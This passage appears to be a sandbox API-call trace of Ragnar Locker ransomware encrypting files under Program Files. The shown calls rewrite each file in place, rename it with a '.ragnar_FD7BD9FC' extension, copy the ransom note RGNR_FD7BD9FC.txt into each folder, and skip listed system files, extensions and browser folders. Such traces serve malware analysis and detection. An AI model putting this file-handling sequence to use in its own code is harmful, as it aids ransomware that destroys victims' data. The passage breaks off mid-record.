ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0078.475] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0078.475] lstrcpyW (in: lpString1=0x1eb630, lpString2="vstoee90.tlb" | out: lpString1="vstoee90.tlb") returned="vstoee90.tlb" [0078.475] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb") returned=".tlb" [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="autorun.inf") returned 1 [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="boot.ini") returned 1 [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="bootfont.bin") returned 1 [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="bootsect.bak") returned 1 [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="bootmgr") returned 1 [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="bootmgr.efi") returned 1 [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="bootmgfw.efi") returned 1 [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="desktop.ini") returned 1 [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="iconcache.db") returned 1 [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="ntldr") returned 1 [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="ntuser.dat") returned 1 [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="ntuser.dat.log") returned 1 [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="ntuser.ini") returned 1 [0078.475] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="thumbs.db") returned 1 [0078.475] lstrcmpiW (lpString1=".tlb", lpString2=".db") returned 1 [0078.475] lstrcmpiW (lpString1=".tlb", lpString2=".sys") returned 1 [0078.475] lstrcmpiW (lpString1=".tlb", lpString2=".dll") returned 1 [0078.475] lstrcmpiW (lpString1=".tlb", lpString2=".lnk") returned 1 [0078.475] lstrcmpiW (lpString1=".tlb", lpString2=".msi") returned 1 [0078.475] lstrcmpiW (lpString1=".tlb", lpString2=".drv") returned 1 [0078.475] lstrcmpiW (lpString1=".tlb", lpString2=".exe") returned 1 [0078.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0078.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0078.476] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21840) returned 1 [0078.476] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x5547, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.476] GetProcessHeap () returned 0x580000 [0078.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.476] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0078.478] VirtualAlloc (lpAddress=0x0, dwSize=0x5550, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0078.478] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.478] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0078.478] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5550, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5550, lpOverlapped=0x0) returned 1 [0078.479] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0078.479] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5550, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.479] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5550, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5550, lpOverlapped=0x0) returned 1 [0078.479] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5550, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.479] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.479] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x5550, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.479] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.479] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0078.480] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0078.480] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0078.480] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.480] GetProcessHeap () returned 0x580000 [0078.480] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.480] CloseHandle (hObject=0x100) returned 1 [0078.480] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" [0078.480] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.ragnar_FD7BD9FC" [0078.480] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.480] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0078.480] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.480] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0078.481] lstrcmpiW (lpString1="Web Folders", lpString2=".") returned 1 [0078.481] lstrcmpiW (lpString1="Web Folders", lpString2="..") returned 1 [0078.481] lstrcmpiW (lpString1="Web Folders", lpString2="Windows") returned -1 [0078.481] lstrcmpiW (lpString1="Web Folders", lpString2="Windows.old") returned -1 [0078.481] lstrcmpiW (lpString1="Web Folders", lpString2="Tor browser") returned 1 [0078.481] lstrcmpiW (lpString1="Web Folders", lpString2="Internet Explorer") returned 1 [0078.481] lstrcmpiW (lpString1="Web Folders", lpString2="Google") returned 1 [0078.481] lstrcmpiW (lpString1="Web Folders", lpString2="Opera") returned 1 [0078.481] lstrcmpiW (lpString1="Web Folders", lpString2="Opera Software") returned 1 [0078.481] lstrcmpiW (lpString1="Web Folders", lpString2="Mozilla") returned 1 [0078.481] lstrcmpiW (lpString1="Web Folders", lpString2="Mozilla Firefox") returned 1 [0078.481] lstrcmpiW (lpString1="Web Folders", lpString2="$Recycle.Bin") returned 1 [0078.481] lstrcmpiW (lpString1="Web Folders", lpString2="ProgramData") returned 1 [0078.481] lstrcmpiW (lpString1="Web Folders", lpString2="All Users") returned 1 [0078.481] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0078.481] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="Web Folders" | out: lpString1="Web Folders") returned="Web Folders" [0078.481] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\" [0078.481] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\" [0078.481] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\RGNR_FD7BD9FC.txt" [0078.481] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.484] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*" [0078.484] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x42 [0078.484] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.484] lstrcpyW (in: lpString1=0x1eb22a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.484] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.484] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.484] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.484] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.484] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.484] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0078.484] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0078.484] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1 [0078.484] lstrcmpiW (lpString1="1033", lpString2="Windows.old") returned -1 [0078.484] lstrcmpiW (lpString1="1033", lpString2="Tor browser") returned -1 [0078.484] lstrcmpiW (lpString1="1033", lpString2="Internet Explorer") returned -1 [0078.484] lstrcmpiW (lpString1="1033", lpString2="Google") returned -1 [0078.484] lstrcmpiW (lpString1="1033", lpString2="Opera") returned -1 [0078.484] lstrcmpiW (lpString1="1033", lpString2="Opera Software") returned -1 [0078.484] lstrcmpiW (lpString1="1033", lpString2="Mozilla") returned -1 [0078.484] lstrcmpiW (lpString1="1033", lpString2="Mozilla Firefox") returned -1 [0078.484] lstrcmpiW (lpString1="1033", lpString2="$Recycle.Bin") returned 1 [0078.485] lstrcmpiW (lpString1="1033", lpString2="ProgramData") returned -1 [0078.485] lstrcmpiW (lpString1="1033", lpString2="All Users") returned -1 [0078.485] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x42 [0078.485] lstrcpyW (in: lpString1=0x1eb63e, lpString2="1033" | out: lpString1="1033") returned="1033" [0078.485] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\" [0078.485] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\" [0078.485] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\RGNR_FD7BD9FC.txt" [0078.485] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.486] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*" [0078.486] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0078.486] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.487] lstrcpyW (in: lpString1=0x1ea75c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.487] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.487] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.487] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.487] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.487] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0078.487] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2=".") returned 1 [0078.487] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="..") returned 1 [0078.487] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8105c3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.487] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.487] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.487] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8105c3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.487] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.487] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.487] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0078.487] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0078.487] lstrcpyW (in: lpString1=0x1eab70, lpString2="MSOSVINT.DLL" | out: lpString1="MSOSVINT.DLL") returned="MSOSVINT.DLL" [0078.487] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL") returned=".DLL" [0078.487] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.487] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="autorun.inf") returned 1 [0078.487] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="boot.ini") returned 1 [0078.488] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="bootfont.bin") returned 1 [0078.488] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="bootsect.bak") returned 1 [0078.488] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="bootmgr") returned 1 [0078.488] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="bootmgr.efi") returned 1 [0078.488] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="bootmgfw.efi") returned 1 [0078.488] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="desktop.ini") returned 1 [0078.488] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="iconcache.db") returned 1 [0078.488] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="ntldr") returned -1 [0078.488] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="ntuser.dat") returned -1 [0078.488] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="ntuser.dat.log") returned -1 [0078.488] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="ntuser.ini") returned -1 [0078.488] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="thumbs.db") returned -1 [0078.488] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0078.488] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0078.488] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0078.488] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8105c3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8105c3e0, 